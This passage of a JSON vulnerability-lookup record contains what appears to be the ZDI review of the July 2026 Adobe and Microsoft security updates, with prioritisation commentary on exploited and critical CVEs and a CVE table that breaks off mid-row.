SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:03:18.617824Z"}, {"uuid": "b7f48d3f-9214-43ec-8c7d-9aa8ae4156e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54993", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  